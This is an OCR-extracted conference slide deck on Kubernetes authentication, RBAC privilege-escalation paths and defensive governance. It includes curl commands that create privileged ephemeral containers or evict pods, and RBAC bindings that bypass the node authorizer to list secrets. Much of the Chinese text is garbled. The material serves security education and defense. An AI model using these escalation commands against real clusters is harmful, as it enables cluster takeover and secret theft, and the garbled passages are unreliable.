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K8s AuthN & AuthZ

The introduction of K8s AuthN/AuthZ



- Kubernetes iAiE'-ﬁT%*R{ZIK,%——'—API Server KCon

\_Kubernetes Authentication and Authorization System — APl Server

API Server

uthenticatic \uthorizatio Admission Control

Static Token File II
AT EED Mutating Admission

: ‘ ‘ Webhook
X.509 Client Cert AlwaysDeny Mode Controllers

OpenID Connect Tokens

ABAC Mode Resource Handlers

Webhook Token Schema Validation

RBAC Mode
Authenticating Proxy

ServiceAccount tokens aceliore Validating Admission Validating I

Controllers Validating
Bootstrap Tokens i icoRiisce Webhook




Kubernetes IANUESIEN{RZE ——Kubelet Server KCon

\_Kubernetes Authentication and Authorization System — Kubelet Server

TAUE

- ERRINIE
o WEFIALE: 18T CA IEBNEFimS o TIAUE
« Webhook IA\IE: i&@iT TokenReview API [a] APl Server &I IEEK

RN

« AlwaysAllow X : {HA@BSIAIE (BEEZEF) BB AR LSRR
. ij\[ebhook = : EBig SubjectAccessReview API [a] APl Server &ENRIRIGTH



- Kubernetes I\IESENARZE ——Kubelet Server KCon

\ Kubernetes Authentication and Authorization System - Kubelet Server

1. POST /api/vi/namespaces/default/pods/test/exec?
command=whoami&&container=c1...

2. Check if the client can create a pods/exec
subresource for the Pod

Kubectl APTI Server

3. Upgrade to SPDY

4. POST /exec/default/test/c1 -d
SPDY '‘command=hostname’ ...

5. Authenticate the identity of kube-apiserver-

7. CRI /runtime.v1.RuntimeService/Exec kubelet-client through certificate authentication.

Container Runtime

6. Authorize via webhook (SubjectAccessReview
API) and check if kube-apiserver-kubelet-client can
create a nodes/proxy subresource for the Node.

14T kubectl exec [FEREE THA?



- Kubernetes I\IESENARZE ——Kubelet Server KCon

\ Kubernetes Authentication and Authorization System - Kubelet Server

1. POST /api/vi/namespaces/default/pods/test/exec?
command=whoami&&container=c1...

2. Check if the client can create a pods/exec
subresource for the Pod

Kubectl APTI Server

3. Upgrade to SPDY

4. POST /exec/default/test/c1 -d
2
' SPDY '‘command=hostname’ ...

5. Authenticate the identity of kube-apiserver-

7. CRI /runtime.v1.RuntimeService/Exec kubelet-client through certificate authentication.

Container Runtime

6. Authorize via webhook (SubjectAccessReview
API) and check if kube-apiserver-kubelet-client can
create a nodes/proxy subresource for the Node.

B8 Kubelet Server H{HAXEE?
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\ Kubernetes RBAC Authorization Mechanism

RBAC EETFHEEMAIEEE], AT Kubernetes EEBFF R ERISINETE

KL S e
- HFMKF UserAccount. RS, ServerAccount
At Role, £EE+AE ClusterRole,

- FE4LE RoleBinding, SEFAE4PxE ClusterRoleBinding
- Deny by Default Z£i=%!

- CERT
UserAccount create namespace AUTH

ClusterRole manager
-resource: [namespaces]
-verbs: [get, create, update]

Allow Namespace
Creation namespace with label

(pod-security.kubernetes.io/audit: .
privileged) o

validate

SubJec’r
(bob)

ClusterRoleBinding

bob <--> manager

Begin Pod Creation

- - - - Using Containerd
> g = f) . =
- = = HEE
= [T 1 T
<> - > TOKEN __Subject RoleBinding Allow l.’od Security Allow I?"od
serviceAccoun e B - AUTH (sal) sal <--> dev Creation Context Creation

User (client) . Authentication e Authorization . Admission Control = Kubelet
(api-server) J (api-server) c (api-server) 0 (worker node)

Role dev
- resource: [pod, services]
- verbs: [get, create]
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B RBAC IR

Unveiling the Current State of RBAC Security
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\Typical Attack Vectors in K8s RBAC

« £=J B, PaaS ¥&. =FEEMNA.
SaaS FEmhE FFHEE

- BEURETEZSENR, ENEHA
F. FmslINZEiRmHE

- AREMHIPTFRR T

Container : Credential
Escape Collection

Pod

Access K8s  Ynhibhani RBAC

API Server Attack

Privilege Escalation/
Lateral Movement

Cluster Sensitive
Admin Information

BRI RBAC N pERS




Kubernetes FRIBUIN R ' KCon

\Sensitive Permissions in Kubernetes

Manipulate AuthN/Z Acquire Tokens RCE Steal Pods MitM

impersonate list secrets create pods/exec modify nodes control endpointslices

update pods/ephemeral-

escalate create secrets .
containers

modify nodes/status modify endpoints

bind create

e o create nodes/proxy create pods/eviction modify services/status

approve signers create pods control pods delete pods modify services/status

update certificatesignin-

grequests/approval control pod controllers control pod controllers delete nodes modify pods

control validating

control mutating webhooks O

control mutating webhooks modify pods/status create services

control mutating webhooks — modify pods control mutating webhooks

5|FAB {Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms?)



https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms

HAEFIA

\Typical Attack Techniques In K8s RBAC

BUBANBR
list or get secrets
escalate roles/clusterroles

bind roles/clusterroles
impersonate subjects

approve signers

create serviceaccounts/token
create nodes/proxy
create workloads

create PV & PVC

WEFA
AN Secret, LEUN SA Token, HuEREEIFE
BEILIES AR, NEIR TR TRV
EllEEe & rolebindbings/clusterrolebindings o ECAZNIR
InRESRFSOTTEE, HTIRNESE D=

B CSR APl & &I, (MEEEREFSM)

1E1d TokenRequest API GlIZEHFREUETE SA BY Token

BE#5nia) Kubelet Server, ES=sWITHS
SIEER TIEREHTIRIN, thintFiAERE. HEUEE SA token
SIEHHEEEANSANEES, HaT s EARREEUE

KCon



RBEESF—

\Issuing Tokens for Privileged Service Accounts

FiB RBAC SR

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:

name: issue-token-secrets
rules:
# OJi@1d create secret SREFENFSERY SA token
- apiGroups: [""]

resources: ["secrets"]

verbs: ["create”, "get"]
# T]iEId patch secret SRGEIEER SA token
- apiGroups: [""]

resources: ["secrets"]

verbs: ["patch”, "get"]

FURS AT token

E: Bvl.24ie,

KCon

K8s ANEB/9 SA Blli Secret X5, HEIFTEFIA patch BPREFEVEAH SA By token



Npazshl—RIF get secrets JEAERN KCon

\ Privilege Escalation through get secrets Exploitation

BB RBAC &R :

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:

name: get-secrets-role
rules:

- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]

SA By Secret (s RN BRI + ANMMEN=ER (H—1MEREY 27 M=/R75E%R) . &t 14348907 4B S
(2775) . Altt, WHEEBTUUEZVNT RIEESEIEAHES H Secret, MMiARERIRS K FHEAHNR.
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\_Privilege Escalation using Ephemeral Containers

=B RBAC &E: curl -k -X PATCH \
”ZHI)} £3lR -H "Authorization: Bearer {TOKEN}" \

) . . Q. : -H "Content-Type: application/strategic-merge-patch+json" \
iP'}j’?;{S'f”- rbac.authorization.k8s.io/v https://{APISERVER}/api/v1/namespaces/test/pods/test-
rrggtéd;cae' normal/ephemeralcontainers \

) : -d
IQINES creat‘et—eghemeraIconatlner '"{"spec":{"ephemeralContainers":[{"name":"debugger”, "image":
nlamespace. es "busybox:latest”,"command":["sh"],"stdin":true,"tty":true, "secur
Euagiséroups - ityContext":{"privileged":true}}1}}'

resources: ["pods/ephemeralcontainers”]
verbs: ["patch”]

%

patch ephemeral Create Privilege

. Take Over
. . Container Escape
containers Containers P

Cluster

7¥: Ephemeral Containers B v1.23 GA



Mgzl ——# A pods/eviction &Y

\ Privilege Escalation Using Ephemeral Containers

FLB} RBAC HifR:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: create-ephemeralconatiner
namespace: test
rules:
- apiGroups: [""]
resources: ["pods/eviction"]
verbs: ["create"]

KCon

curl -k -X PATCH \

-H "Authorization: Bearer {TOKEN}" \

-H "Content-Type: application/strategic-merge-patch+json" \
https://{APISERVER}/api/v1/namespaces/ingress-
nginx/pods/ingress-nginx-controller-59669cf454-
9z2xk/eviction \

-d
'{"apiVersion":"policy/v1","kind":"Eviction","metadata":{"name":
" ingress-nginx-controller-59669cf454-

9z2xk","namespace":” ingress-nginx"}}’

Evil Node

Evil Node

SHBKIRFFNAMNRY Pod , BEHEEEIKNEEMEDR



RS 5— ETEsia) Kubelet SR

\ Directly Access Kubelet Server to Evade Detection

Kubelet &5 SubjectAccessReview API 332 Fimift T4
(BN Tan < AIEZE nodes/proxy KRR create fYBR)
XJhz Audit Event (RiERIEXRERISDER

a]FJF3 nodes/proxy. nodes/log FRIFNRIEE] Kubelet HExE)

"spec“:{ .
"uid": "3538dc71-3058-4b32-8005-04148b3262c4", Audit Event

"user":
"groups”: [
"system:serviceaccounts”,
"system:serviceaccounts:default”,
"system:authenticated”
1,
"resourceAttributes”: {
"resource": " “
"subresource": "
"verb": "create”,
"name": " cn-beijing.172.16.0.187",
"version": "v1"

1
i

"status”: {
"reason": "..",
"allowed™:

1]

/exec

oE

2R S FF
At

WIRATR

ubele

api

KCon

BA create
nodes/proxy

PR



R H—— NG, FAF RIS

\ Granting Permissions to System Users and User Groups

AR S :

. system:nodes FIFEBIZFEIMUR, S5 kubelet B9EEST T “Node Authorizer” HIZJER,

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bypass-node-authorizer
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-clusterrole # The role has secrets lists permission
subjects:
- kind: Group
name: system:nodes

rootliv-yd8g2vobwwajrdig2pvg:~# export KUBECONFIG=/et
c/kubernetes/kubelet.conf
root@iv-yd8g2voewwajrd7g2pvg:~# kubectl get secrets -
n kube-system

Error from server (Forbidden): secrets is forbidden:
User "system:node:192.168.0.6" cannot list resource "
secrets" in API group "" in the namespace "kube-syste

m": No Object name found
root@iv-yd8g2vo6wwajrd7g2pvg:~# I

KCon

root@iv-yd8g2vobwwajrd7g2pvg:~# export KUBECONFIG=/et

c/kubernetes/kubelet.conf

root@iv-yd8g2vo6wwajrd7g2pvg:~# kubectl get secrets -

n kube-system
NAME

DATA
addon.autoscaler.token

addon.csi.token

addon.network.token

AGE

30d

30d

30d

TYPE

Opaque

Opaque

Opaque



R B fl——RZHsAY list secrets XY

\Hidden Risks of list secrets Authorization

£ Kubernetes RBAC 51, WRIZE T resourceNames FE&, ABAIEKAINREABER list,

create. deletecollection, BNERKASHEITIF.

HANERFCE |

« ZresourceNames FEERZA "" BIRFERZFRET, BT list 153K,

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: hidden-authorization
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["list"]
resourceNames: ["specialSecret”, ""]

bytedance@FHFW5HKW1H rbac-vuln-test % kubectl auth can-i —-list

Resources
selfsubjectaccessreviews.authorization.k8s.io
selfsubjectrulesreviews.authorization.k8s.io

secrets

Non-Resource URLs
[]

[]

[/ .well-known/openid-configuration]
[/api/*]

[/apil

[/apis/*]

[/apis]
[/healthz]
[/healthz]
[/livez]

[/livez]
[/openapi/*]
[/openapi]
[/openid/v1/jwks]
[/readyz]
[/readyz]
[/version/]
[/version/]
[/version]
[/version]

[]

bytedance@FHFW5HKW1H rbac-vuln-test % kubectl get secrets -n kube-system

NAME
addon.autoscaler.token
addon.csi.token
addon.network.token
addon.observability.token

TYPE

Opaque
Opaque
Opaque
Opaque

Resource Names

watch,

AGE
48d
48d

48d

KCon

Verbs
[create]
[create]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[get]
[list]
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\ How RBAC Risks are Introduced

A

FRBIRE AR/ MR R

FERARERENAR, BT%
ERIRTRE, RERER/IMIR
RN EHBNR, SEXK.
FERIPEE RGNS FMEEIN, N
[REBNEEBDRERIARER,
FEEMRAIERIEIE, BR3IA
FTHI XIS

{EREFEXBEHIFRZEM

TFETFREHERIARE TR 8E
BRI TEZINR, XFp [FF
FMRAA] NEEERSE, (BAJ8E
AEERERENLEF XK.

KCon
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SEHHIREELEXE

AEEERHBEBSIANZTENX.
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SR PRAY=H B4, BARNE
EHEIEHSI S REGEER, LUR
DBERNZ ERS.
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\_Using Vulnerable Open Source Components

kube-state-metrics Ingress-nginx
kind: ClusterRole kind: ClusterRole
rules: rules:
- apiGroups:
- apiGroups: - "
- i . resources: y
resources: kUbe-Sta_Ee-metl’ICS %k = Conﬁgmaps IngreSS"ng|nX ﬁ':%
_configmaps AN TAMIESSERHY secrets, _endpoints AN secrets i list, watch #ZBR
- secrets BEAREEIgEEEE, - nodes FAF &1 Ingress By TLS
- nodes - pods IE &% %A,
- pods - secrets
- services {{- if not .Values.controller.scope.enabled }}
- resourcequotas - namespaces
- replicationcontrollers {{- end}}
- limitranges verbs:
- persistentvolumeclaims - list
- persistentvolumes - watch
- namespaces
- endpoints
verbs:
- get
- list

- watch
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\Ignoring Security Risks During Component Deployment

B BHEERZTE kube-system, default &&pEaSd

N

kube-system Namespace

Custom kube-
Component kube-proxy

- ERIEHSIERBRIER— TR

Control Component Control Component

Business Service Business Service




BrfEl RBAC L X BaRIHkY

\ Challenges in Defending Against RBAC Security Risks

i EEB P P . \

AAEFRIEE FHtim LG, @R )
> Kubernetes EmEAIBHEITFER T 9

i | RBAC %2 |
VoY RBEBE

RBAC KgAK N
FFE RBAC 2RI RT ST AR,
I e

2
.,
~ e
~. -
~. -
~. -
~<. -
~ -
Se—e —

RBAC X\ & B B2kt

WHEFIA RBAC 2N TiEE
BEEE

ST 825X B 3 R K

R EMIRE, FTREEEAMIEERE

X\ AT BESR B SMEB B4
RN BRIRFF R

KCon
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Defense-in-Depth Strategies and Practices
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\_Business vs. Security

IEERNEZEIR, HEEAREES

ZIAETERIEE] (RhR. TEMES)

HRIEEIPREIELT K

FHEIVSEBNRLER, ERATXFER

ARSI v
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\_Business vs. Security

IERNEEIR, EEAREES

ZIAETERIEE] (RhR. TEMES)

HRIEEIPREIET X

FHEIVSEBNRLER, ERATXFER

ARSI v
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\ Developing a Feasible Governance Plan

e
SRR, STETEEN, ERRSE

PR
ZaXSHARRE. MEEFIIEE, HIER
ImEEE

00000

TRt eae .

(¢ KCon




HBAER—— Al KCon

\_Developing a Feasible Governance Plan — Tiered Governance

‘ T ————
PO - R RI#E e St AT AT R R .

40 cluster admin, approve csrs

. o] | BB REEE N ER R A e HIRPRAIRSR,
Pl - FRRE s R mIBRIRY P

g0 impersonate, bind, escalate, list all secrets ...

TEEAIRSETE R, TR N ERRTR, R, A M A
PD - S FE—EAREATER % i VSRR, RIS R AR

= S 4= A
40 issue kube-system token secrets, webhook control, assin sa ... REFRHTREMN, IE.

AJATaSHT. mREal. NREFFREITARITR. b SSaEik R, TS ENHESHMD

3 - %gﬂﬁgqiﬁ e S 4= N
%N ephemeralContainer, pods/exec, nodes/proxy ... REFERHRITRZEAN. MNE.

ARATHEARE. TFRERESFHEIT/HRIER. ERERE P EELTENE, AIERHEE

P4 B ?H!’T%)R;éuliéE A = 3 AS o 7
40 node/status, weak ns serviceaccounts/token || secrets ... fER, FELIANRERNFEHTHIE.
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\_Business vs. Security

IERNEEIR, EEAREES

FEinEpHRRIEE] FhR. TEMNERS)

HRIEEIPREIELT K

NS ARMEZEENR, BIRE T ER

ARSI v




Al | KEon

\_Governance Measures of K8s RBAC

E A—lrj:ﬁq

Cl/CD. Paa$S »?.‘:.i K8s EER¥EE Ak,

ER{ESLiE
RS RN TR IR AR
FETHE
FEEERG]. KA RBAC RN
EHUGEIN
i S 2 AT SRR
1T/9ER
EFMFI TR IR, Wa
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Governance Measures — RBAC Best Security Practices

01

B/ NMBRIR N

B 1 /N BR R W FF
BT HRATESATHRY
RARUR.

0)

iR 9 default

ARSI S 1% TR

BJ# Pod WRKiIg
E SA, SEINEG
2= EHRNABAR
default By SA 7fic
#5 Pod,

03

e 52 {5 FERTA

fRe/RF/RR4E

GEZ NS
RENR, FIAR
F. BREEBEHK
Ri&.

R 2k % E
1@ o fF

BE A 8ES5|INFL
SN2 RE, N
£ RBAC N eig
ERWIIAPI B, &
B, oA, EERR
BEBR.

05

{52 FE ERIRAR RS
RFE RIRE TR

{52 F3 B3R AU % T4
R, AIHREDER
(IR 15 AT BRI /MY
PR, ERTERIFANAY
JRIZMERDEMIME, A

MRS B EENR
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\_Governance Measures — Security Orchestration

- EHIEHAESEE TG RTE

oM - Rl mEEsEasE,
Custom Namespace uiﬁ&;i;ylzﬁz;ﬁ

l - 5 default mRA=TE. WSBHhE
SO ERTERE, BEEETRX

Component
B_L
\\

- EHEHR SRS SIS REGERR

Business Service Control Component

- BFETRICkENEE T RXE

Business Service Control Component

Business Node Control Node
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. Governance Measures — Behavior Modeling

REEERE/ VMR
FRENEERER | BRARIES

IREEAN PR ?

BT HSICR ¥ IKFRISEPRGE T3, BERETEHITHSHIKFHTIRER.
MERREENX, LIESHIRGE? BEEERITRERIN?
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\_Governance Measures — Behavior Modeling

- SCEAMES SR HEEE
=)=
- BREFERE

. % @ES{E EE Audit Log . — deduplication
B ’ >
- EREENZFIRCE

K8s Cluster Elkeid HUB Persistence
- ZEEFEERERE (FHREE)
- S SIER

. RURBHRAR, -y

Anomaly
Detection

RBAC
Resource
Advisor
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\Governance Measures — Behavior Modeling

o WIS EF RN Ap B =SB EREIRIR?
. %_.I'Aplgjiﬂy)\l)g%kjéﬁg

ﬁﬂﬂlﬂ CRD ®iR?
B SR RAROARI SRR TR

AME R e BB/ M FR ?
« ClusterRole
 Role

EARELE

KCon

BZ/ Namespace

]l e

ERE 2 BRERIFTE
&JERY ClusterRole

HBE— Namespace
ihiEicR, AEAESE
SEFCEIRIREFR CRDs

=)A= el =l 0 )i =]
HiIEHY Role

HBE— Namespace
ihiEicR, FEHE8%
BSBEEIRF CRDs

Q_EEEE’:E HD% |E_'.]7$/}$
HIJ Role ﬂ]@,mxﬁ/l}
E’&R ClusterRole
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\_Governance Measures — Behavior Modeling

BIERIHAERE

X
apiVersion:
rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: metric-apiserver
rules:
- apiGroups: [*"]
resources: ["*"]
verbs: ["*"]

—

ERHABE
X

apiVersion:
rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: metric-apiserver
rules:
- apiGroups: [""]
resources: ["pods”, "nodes"]

verbs: ["get", "list", "watch"]

KCon
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\_Business vs. Security

e NEEIR, HERAREE

FiRnEEREE] (AR, TEMARS)

HRIEEIPREIELT K

NS ARMEZEENR, BIRE T ER

ARSI v




ZLIATE & NEHRT | KCon
\Security Governance & Intrusion Detection
+ NEFMERBURAIRERREIESRIIE, FETRERE & NMEEUHITRERE

» ZERBEANKUIE "IEERIR" |, AMEEHIBARELBURNIRTTEMEN, /M BRTAXS I
XSG, IEIIANRINRIN=EEEIERA.,

* Kubernetes Bt SR LAUCRERTHIFEED], AAIBERNIEITHRME TEEIFE,

BRI EEkA BB E R
ng%\ %77/|\NKFIE"J$RBEQ?§R;EU ;}E\I}Eﬁ ServiceAccount -L]‘j'[ﬂ %1‘2'§§§\ %1:2 Cap g%%\
API Server SRR

AMPR RBAC BiRE
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0

\ RBAC Security Protection and Governance Framework

RBAC Best Practice RBAC Profile RBAC Policies
(Policy as Code)

Chart/Yaml

Guideline based on Model Seanhen

* The software and business * Recommended to follow the » When building, automated
design should consider the Secure Coding Guide at the testing is a good idea to
security elements. development stage. eliminate security threats.

« During the deployment phase,
automation of setup/config
errors or security-related
aspects is recommended.

* Automatic and manual
security testing before
deploying Prod is
recommended.

* At the operational stage, it is
recommended to continue auditing/
monitoring and patching.

Operate /
Monitor

RBAC Scanner

Account Behavior . ity Admissi (EE;AC Policizs)
Modelin iti ecur! mission olicy as Code
. K8s Auditing Orchestration Controller




Rt KCon
o IFHEHREERY RBAC RN T RERFRELZEEXRER

- &8 RBAC SR aIEIIEEE B2 KNEENXR, Bk, EX

- WEFEIEERNBEENZEIR, /8 RBAC T2 XSREHERE

-+ RDIEHESERREITIENEN, EBAREREMAERENFEFZMNE
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A 1245 (Kubernetes RBAC ER{FLZE5Lik) AMEIFHHEIIABMNARS, &uSHIF!
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